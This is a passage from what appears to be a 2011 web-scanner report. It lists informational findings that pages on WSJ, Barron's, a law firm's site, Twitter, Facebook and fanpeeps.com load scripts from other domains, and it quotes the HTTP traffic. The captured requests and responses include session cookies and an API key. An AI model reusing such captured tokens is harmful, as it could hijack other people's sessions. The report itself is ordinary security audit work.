X-DEBUG-MODULE-VERSION: DJCS mod_mon 0.7.0.9.4a
X-DEBUG-REQUEST: /public/page/0_0_BH_0001_public.html
X-DEBUG-NAMESPACE: reno-barrons
Cache-Control: max-age=15
Expires: Sat, 14 May 2011 10:13:07 GMT
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Length: 104322
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/
...[SNIP]...
<link href='http://online.barrons.com/css/barronsDependencies/autocomplete.css' type="text/css" rel="stylesheet" />
<script type='text/javascript' src='http://s.wsj.net/javascript/yui-2.5.2.js'></script>
...[SNIP]...
</style>
<script type='text/javascript' src='http://c.wsj.net/dynamic/hat/hatloader3.js'></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://adsyndication.msn.com/delivery/getads.js">
</script>
...[SNIP]...
</div><script type="text/javascript" src="http://barrons.wsj.net/djscript/j_global_slim-20110427211743.js"></script>
<script type="text/javascript" src="http://barrons.wsj.net/djscript/bucket/NA/page/0_0_BH_0001_public/provided/bolGlobal,bolTracking/version/20110428132048.js"></script>
...[SNIP]...

20.36. http://online.wsj.com/article/SB10001424052748703730804576313682030967852.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/article/SB10001424052748703730804576313682030967852.html

Issue detail

The response dynamically includes the following scripts from other domains:

http://adsyndication.msn.com/delivery/getads.js
http://cache-01.cleanprint.net/cp/ccg?divId=2486
http://stags.peer39.net/712/trg_712.js

Request

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:34:55 GMT
Server: Apache/2.0.58 (Unix)
FastDynaPage-ServerInfo: sbkj2kapachep01 - Sat 05/14/11 - 00:07:07 EDT
Cache-Control: max-age=15
Expires: Sat, 14 May 2011 10:35:10 GMT
Vary: Accept-Encoding
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: text/html; charset=UTF-8
Content-Length: 184798

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/
...[SNIP]...
</script>
<script type="text/javascript" src="http://cache-01.cleanprint.net/cp/ccg?divId=2486"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://adsyndication.msn.com/delivery/getads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://stags.peer39.net/712/trg_712.js"></script>
...[SNIP]...

20.37. http://online.wsj.com/article/SB10001424052748703730804576317293981683266.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/article/SB10001424052748703730804576317293981683266.html

Issue detail

The response dynamically includes the following script from another domain:

http://adsyndication.msn.com/delivery/getads.js

Request

Response

20.38. http://online.wsj.com/article/SB10001424052748703864204576314083707711492--LESS.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/article/SB10001424052748703864204576314083707711492--LESS.html

Issue detail

The response dynamically includes the following script from another domain:

http://adsyndication.msn.com/delivery/getads.js

Request

Response

20.39. http://online.wsj.com/article/SB10001424052748703864204576321552255041680.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/article/SB10001424052748703864204576321552255041680.html

Issue detail

The response dynamically includes the following scripts from other domains:

http://adsyndication.msn.com/delivery/getads.js
http://stags.peer39.net/712/trg_712.js

Request

Response

20.40. http://online.wsj.com/article/SB10001424052748704681904576315662838806984.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/article/SB10001424052748704681904576315662838806984.html

Issue detail

The response dynamically includes the following scripts from other domains:

http://adsyndication.msn.com/delivery/getads.js
http://stags.peer39.net/712/trg_712.js

Request

Response

20.41. http://online.wsj.com/article/SB10001424052748704681904576319301584731990.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/article/SB10001424052748704681904576319301584731990.html

Issue detail

The response dynamically includes the following scripts from other domains:

http://adsyndication.msn.com/delivery/getads.js
http://cache-01.cleanprint.net/cp/ccg?divId=2486
http://stags.peer39.net/712/trg_712.js

Request

Response

20.42. http://online.wsj.com/home-page previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/home-page

Issue detail

The response dynamically includes the following script from another domain:

http://adsyndication.msn.com/delivery/getads.js

Request

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:09:03 GMT
Server: Apache/2.0.58 (Unix)
Set-Cookie: djcs_route=e3d83c8b-1ab1-48e1-816c-23e200bad9cc; domain=.wsj.com; path=/; Expires=Tue May 11 06:09:03 2021; max-age=315360000
Set-Cookie: DJSESSION=ORCS%3dna%2cus; path=/; domain=.wsj.com
Set-Cookie: DJCOOKIE=ORC%3dna%2cus; path=/; domain=.wsj.com; expires=Sun, 13-May-2012 10:09:03 GMT
Set-Cookie: wsjregion=na%2cus; path=/; domain=.wsj.com
Cache-Control: no-cache, no-store
FastDynaPage-ServerInfo: sbkj2kapachep08 - Sat 05/14/11 - 06:03:37 EDT
Cache-Control: max-age=15
Expires: Sat, 14 May 2011 10:09:18 GMT
Vary: Accept-Encoding
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: text/html; charset=UTF-8
Content-Length: 160468

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/
...[SNIP]...
</script>
<script type="text/javascript" src="http://adsyndication.msn.com/delivery/getads.js">
</script>
...[SNIP]...

20.43. http://online.wsj.com/public/page/news-career-jobs.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/public/page/news-career-jobs.html

Issue detail

The response dynamically includes the following scripts from other domains:

http://adsyndication.msn.com/delivery/getads.js
http://www.fins.com/Finance/JScripts/FINS_Widget.js

Request

Response

20.44. http://online.wsj.com/public/page/news-economy.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/public/page/news-economy.html

Issue detail

The response dynamically includes the following script from another domain:

http://adsyndication.msn.com/delivery/getads.js

Request

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:12:24 GMT
Server: Apache/2.0.58 (Unix)
FastDynaPage-ServerInfo: sbkj2kapachep03 - Sat 05/14/11 - 05:14:09 EDT
Cache-Control: max-age=15
Expires: Sat, 14 May 2011 10:12:39 GMT
Vary: Accept-Encoding
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: text/html; charset=UTF-8
Content-Length: 114673

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/
...[SNIP]...
</script>
<script type="text/javascript" src="http://adsyndication.msn.com/delivery/getads.js">
</script>
...[SNIP]...

20.45. http://online.wsj.com/public/page/news-real-estate-homes.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/public/page/news-real-estate-homes.html

Issue detail

The response dynamically includes the following script from another domain:

http://adsyndication.msn.com/delivery/getads.js

Request

Response

20.46. http://online.wsj.com/static_html_files/onespot_js.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/static_html_files/onespot_js.html

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js
http://embed.onespot.com/javascripts/nextclick/wsj/builder_template.min.js
http://partner.googleadservices.com/gampad/google_service.js

Request

Response

20.47. http://smartmoney.onespot.com/static/nextclick/content_exchange.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://smartmoney.onespot.com
Path:	/static/nextclick/content_exchange.html

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js
http://partner.googleadservices.com/gampad/google_service.js
http://use.typekit.com/uhh2the.js

Request

Response

20.48. http://topics.barrons.com/person/S/michael-santoli/6041 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://topics.barrons.com
Path:	/person/S/michael-santoli/6041

Issue detail

The response dynamically includes the following scripts from other domains:

http://adsyndication.msn.com/delivery/getads.js
http://barrons.wsj.net/djscript/bucket/NA/page/0_0_BP_0014/provided/bolGlobal,bolTracking/version/20110427211743.js
http://barrons.wsj.net/djscript/j_global_slim-20110427211743.js
http://c.wsj.net/dynamic/hat/hatloader3.js
http://s.wsj.net/javascript/yui-2.5.2.js

Request

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:29:50 GMT
Server: Apache/2.0.58 (Unix)
X-DEBUG-BOX-IDENT: secj2kapachep03
X-DEBUG-MODULE-VERSION: DJCS mod_mon 0.7.0.9.4a
X-DEBUG-REQUEST: /person/S/michael-santoli/6041
X-DEBUG-NAMESPACE: reno-secaucus-barrons
Last-Modified: Sat, 14 May 2011 10:29:50 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 51725

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/
...[SNIP]...
<link href='http://online.barrons.com/css/barronsDependencies/autocomplete.css' type="text/css" rel="stylesheet" />
<script type='text/javascript' src='http://s.wsj.net/javascript/yui-2.5.2.js'></script>
...[SNIP]...
</style>
<script type='text/javascript' src='http://c.wsj.net/dynamic/hat/hatloader3.js'></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://adsyndication.msn.com/delivery/getads.js">
</script>
...[SNIP]...
</div><script type="text/javascript" src="http://barrons.wsj.net/djscript/j_global_slim-20110427211743.js"></script>
<script type="text/javascript" src="http://barrons.wsj.net/djscript/bucket/NA/page/0_0_BP_0014/provided/bolGlobal,bolTracking/version/20110427211743.js"></script>
...[SNIP]...

20.49. http://topics.wsj.com/djscript/latest/dj/widget/panels/view/SlidePanel.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://topics.wsj.com
Path:	/djscript/latest/dj/widget/panels/view/SlidePanel.js

Issue detail

The response dynamically includes the following script from another domain:

http://adsyndication.msn.com/delivery/getads.js

Request

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 10:12:32 GMT
Server: Apache/2.0.58 (Unix)
FastDynaPage-ServerInfo: sbkj2kapachep08 - Sat 05/14/11 - 00:44:45 EDT
Vary: Accept-Encoding
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: text/html; charset=UTF-8
Content-Length: 79968

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/
...[SNIP]...
</script>
<script type="text/javascript" src="http://adsyndication.msn.com/delivery/getads.js">
</script>
...[SNIP]...

20.50. http://topics.wsj.com/subject/W/wall-street-journal/nbc-news-polls/6052 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://topics.wsj.com
Path:	/subject/W/wall-street-journal/nbc-news-polls/6052

Issue detail

The response dynamically includes the following script from another domain:

http://adsyndication.msn.com/delivery/getads.js

Request

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:12:23 GMT
Server: Apache/2.0.58 (Unix)
FastDynaPage-ServerInfo: sbkj2kapachep01 - Fri 05/13/11 - 06:15:02 EDT
Cache-Control: max-age=15
Expires: Sat, 14 May 2011 10:12:38 GMT
Vary: Accept-Encoding
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: text/html; charset=UTF-8
Content-Length: 117835

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/
...[SNIP]...
</script>
<script type="text/javascript" src="http://adsyndication.msn.com/delivery/getads.js">
</script>
...[SNIP]...

20.51. http://twitter.com/WSJHouse previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://twitter.com
Path:	/WSJHouse

Issue detail

The response dynamically includes the following scripts from other domains:

http://a0.twimg.com/a/1305324702/javascripts/lib/gears_init.js?1304530346
http://a0.twimg.com/a/1305324702/javascripts/lib/jquery.tipsy.min.js?1304530346
http://a1.twimg.com/a/1305324702/javascripts/api.js?1304530346
http://a1.twimg.com/a/1305324702/javascripts/lib/mustache.js?1304530346
http://a2.twimg.com/a/1305324702/javascripts/twitter.js?1304530346
http://a3.twimg.com/a/1305324702/javascripts/dismissable.js?1304530346
http://a3.twimg.com/a/1305324702/javascripts/geov1.js?1304530348
http://ajax.googleapis.com/ajax/libs/jquery/1.3.0/jquery.min.js
http://www.google.com/jsapi

Request

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:29:09 GMT
Server: hi
Status: 200 OK
X-Transaction: 1305368949-82961-30556
ETag: "f56346da1d6f43d8be0a943b36cb2b29"-gzip
X-Frame-Options: SAMEORIGIN
Last-Modified: Sat, 14 May 2011 10:29:09 GMT
X-Runtime: 0.01306
Content-Type: text/html; charset=utf-8
Pragma: no-cache
X-Revision: DEV
Expires: Tue, 31 Mar 1981 05:00:00 GMT
Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0
X-MID: 4b766f3376288b6316e85a2ba5ce26cc9b3d625a
Set-Cookie: guest_id=130536894972281377; path=/; expires=Mon, 13 Jun 2011 10:29:09 GMT
Set-Cookie: original_referer=Vs%2BEmu1btvtijeAp0as8odTqICjT%2F%2Fddzu%2BIl%2BDmq8wqvfcyN8Q%2B%2BVzJuvqyxEy5DyZjyYsh4Cm3aLUWk8ue%2FHRNWBcQaHm3uqLcVkjIW0M%3D; path=/
Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: _twitter_sess=BAh7CDoPY3JlYXRlZF9hdGwrCN5zDe4vAToHaWQiJWRhZGY0MmFlMGQ5NzRl%250ANWZjZmEyNzk5NjliZWNhN2JmIgpmbGFzaElDOidBY3Rpb25Db250cm9sbGVy%250AOjpGbGFzaDo6Rmxhc2hIYXNoewAGOgpAdXNlZHsA--402431e3028a7db3fc3d062aaddd37d943996df5; domain=.twitter.com; path=/; HttpOnly
X-XSS-Protection: 1; mode=block
Vary: Accept-Encoding
Connection: close
Content-Length: 37552

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta htt
...[SNIP]...
</div>

<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.0/jquery.min.js" type="text/javascript"></script>
<script src="http://a2.twimg.com/a/1305324702/javascripts/twitter.js?1304530346" type="text/javascript"></script>
<script src="http://a0.twimg.com/a/1305324702/javascripts/lib/jquery.tipsy.min.js?1304530346" type="text/javascript"></script>
<script type='text/javascript' src='http://www.google.com/jsapi'></script>
<script src="http://a0.twimg.com/a/1305324702/javascripts/lib/gears_init.js?1304530346" type="text/javascript"></script>
<script src="http://a1.twimg.com/a/1305324702/javascripts/lib/mustache.js?1304530346" type="text/javascript"></script>
<script src="http://a3.twimg.com/a/1305324702/javascripts/geov1.js?1304530348" type="text/javascript"></script>
<script src="http://a1.twimg.com/a/1305324702/javascripts/api.js?1304530346" type="text/javascript"></script>
...[SNIP]...
</script>
<script src="http://a1.twimg.com/a/1305324702/javascripts/lib/mustache.js?1304530346" type="text/javascript"></script>
<script src="http://a3.twimg.com/a/1305324702/javascripts/dismissable.js?1304530346" type="text/javascript"></script>
...[SNIP]...

20.52. http://www.dinse.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dinse.com
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://www.statcounter.com/counter/counter.js

Request

Response

20.53. http://www.dinse.com/about_the_firm/Employment.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dinse.com
Path:	/about_the_firm/Employment.html

Issue detail

The response dynamically includes the following script from another domain:

http://www.statcounter.com/counter/counter.js

Request

Response

20.54. http://www.dinse.com/about_the_firm/disclaimer.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dinse.com
Path:	/about_the_firm/disclaimer.html

Issue detail

The response dynamically includes the following script from another domain:

http://www.statcounter.com/counter/counter.js

Request

Response

20.55. http://www.dinse.com/about_the_firm/history.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dinse.com
Path:	/about_the_firm/history.html

Issue detail

The response dynamically includes the following script from another domain:

http://www.statcounter.com/counter/counter.js

Request

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 11:30:16 GMT
Server: Apache/2.2.3 (Debian)
X-Powered-By: PHP/4.4.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=iso-8859-1
Set-Cookie: LuxiteAuth=deleted; expires=Friday, 14-May-10 11:30:15 GMT; path=/
Content-Length: 31810

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html>
<head>
<title>Dinse, Knapp & McAndrew - About the Firm - A Short History since 1917</title>
...[SNIP]...
</SCRIPT>

<SCRIPT src="http://www.statcounter.com/counter/counter.js" type=text/javascript></SCRIPT>
...[SNIP]...

20.56. http://www.dinse.com/about_the_firm/working_at_dinse.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dinse.com
Path:	/about_the_firm/working_at_dinse.html

Issue detail

The response dynamically includes the following script from another domain:

http://www.statcounter.com/counter/counter.js

Request

Response

20.57. http://www.dinse.com/attorneys.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dinse.com
Path:	/attorneys.html

Issue detail

The response dynamically includes the following script from another domain:

http://www.statcounter.com/counter/counter.js

Request

Response

20.58. http://www.dinse.com/attorneys/knapp.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dinse.com
Path:	/attorneys/knapp.html

Issue detail

The response dynamically includes the following script from another domain:

http://www.statcounter.com/counter/counter.js

Request

Response

20.59. http://www.dinse.com/attorneys/mckearin.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dinse.com
Path:	/attorneys/mckearin.html

Issue detail

The response dynamically includes the following script from another domain:

http://www.statcounter.com/counter/counter.js

Request

Response

20.60. http://www.dinse.com/attorneys/monahan.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dinse.com
Path:	/attorneys/monahan.html

Issue detail

The response dynamically includes the following script from another domain:

http://www.statcounter.com/counter/counter.js

Request

Response

20.61. http://www.dinse.com/contact.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dinse.com
Path:	/contact.html

Issue detail

The response dynamically includes the following script from another domain:

http://www.statcounter.com/counter/counter.js

Request

Response

20.62. http://www.dinse.com/contact/email.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dinse.com
Path:	/contact/email.html

Issue detail

The response dynamically includes the following script from another domain:

http://www.statcounter.com/counter/counter.js

Request

Response

20.63. http://www.dinse.com/index.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dinse.com
Path:	/index.html

Issue detail

The response dynamically includes the following script from another domain:

http://www.statcounter.com/counter/counter.js

Request

Response

20.64. http://www.dinse.com/news_events.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dinse.com
Path:	/news_events.html

Issue detail

The response dynamically includes the following script from another domain:

http://www.statcounter.com/counter/counter.js

Request

Response

20.65. http://www.dinse.com/news_events/in_the_news.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dinse.com
Path:	/news_events/in_the_news.html

Issue detail

The response dynamically includes the following script from another domain:

http://www.statcounter.com/counter/counter.js

Request

Response

20.66. http://www.dinse.com/news_events/in_the_news/20.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dinse.com
Path:	/news_events/in_the_news/20.html

Issue detail

The response dynamically includes the following script from another domain:

http://www.statcounter.com/counter/counter.js

Request

Response

20.67. http://www.dinse.com/practice-areas/employment.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dinse.com
Path:	/practice-areas/employment.html

Issue detail

The response dynamically includes the following script from another domain:

http://www.statcounter.com/counter/counter.js

Request

Response

20.68. http://www.dinse.com/publications.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dinse.com
Path:	/publications.html

Issue detail

The response dynamically includes the following script from another domain:

http://www.statcounter.com/counter/counter.js

Request

Response

20.69. http://www.facebook.com/plugins/fan.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/fan.php

Issue detail

The response dynamically includes the following script from another domain:

http://static.ak.fbcdn.net/rsrc.php/v1/y2/r/Bj5jbUlrgiA.js

Request

GET /plugins/fan.php?api_key=67fc5e01d68cf35eba52297f5bf2ed3d&connections=10&height=250&id=8304333127&locale=en_US&sdk=joey&stream=false&width=377 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703864204576321552255041680.html?mod=WSJ_hp_LEFTTopStories
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

20.70. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The response dynamically includes the following script from another domain:

http://static.ak.fbcdn.net/rsrc.php/v1/y2/r/Bj5jbUlrgiA.js

Request

Response

20.71. http://www.facebook.com/plugins/likebox.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/likebox.php

Issue detail

The response dynamically includes the following script from another domain:

http://static.ak.fbcdn.net/rsrc.php/v1/y2/r/Bj5jbUlrgiA.js

Request

Response

20.72. http://www.facebook.com/plugins/recommendations.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/recommendations.php

Issue detail

The response dynamically includes the following script from another domain:

http://static.ak.fbcdn.net/rsrc.php/v1/y2/r/Bj5jbUlrgiA.js

Request

Response

20.73. http://www.facebook.com/widgets/recommendations.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/widgets/recommendations.php

Issue detail

The response dynamically includes the following script from another domain:

http://static.ak.fbcdn.net/rsrc.php/v1/y2/r/Bj5jbUlrgiA.js

Request

Response

20.74. http://www.fanpeeps.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.fanpeeps.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
http://tweetyourpicks.com/twitterlib030710.js

Request

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:33:42 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Set-Cookie: PHPSESSID=b7fb2a76adb05c852cf655ff55146abc; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 17549

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
   <t
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/droplinebar.css" />

   <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/twitterlib.css" />
   <script zsrc=/twitterlib.js src=http://tweetyourpicks.com/twitterlib030710.js zsrc=http://tweetyourpicks.com/twitterlib.jsorg zsrc=twitterlib.js zsrc=http://github.com/remy/twitterlib/raw/master/twitterlib.js type="text/javascript">
   </script>
...[SNIP]...

20.75. http://www.fanpeeps.com/bg2.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.fanpeeps.com
Path:	/bg2.jpg

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
http://tweetyourpicks.com/twitterlib030710.js

Request

GET /bg2.jpg HTTP/1.1
Host: www.fanpeeps.com
Proxy-Connection: keep-alive
Referer: http://www.fanpeeps.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.4.10.1305376380; PHPSESSID=9a60411f58fb3454c5f556257e253120

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:33:47 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 17549

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
   <t
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/droplinebar.css" />

   <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/twitterlib.css" />
   <script zsrc=/twitterlib.js src=http://tweetyourpicks.com/twitterlib030710.js zsrc=http://tweetyourpicks.com/twitterlib.jsorg zsrc=twitterlib.js zsrc=http://github.com/remy/twitterlib/raw/master/twitterlib.js type="text/javascript">
   </script>
...[SNIP]...

20.76. http://www.fanpeeps.com/media/blueactive2.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.fanpeeps.com
Path:	/media/blueactive2.gif

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
http://tweetyourpicks.com/twitterlib030710.js

Request

GET /media/blueactive2.gif HTTP/1.1
Host: www.fanpeeps.com
Proxy-Connection: keep-alive
Referer: http://www.fanpeeps.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=9a60411f58fb3454c5f556257e253120; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.5.10.1305376380

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:33:49 GMT
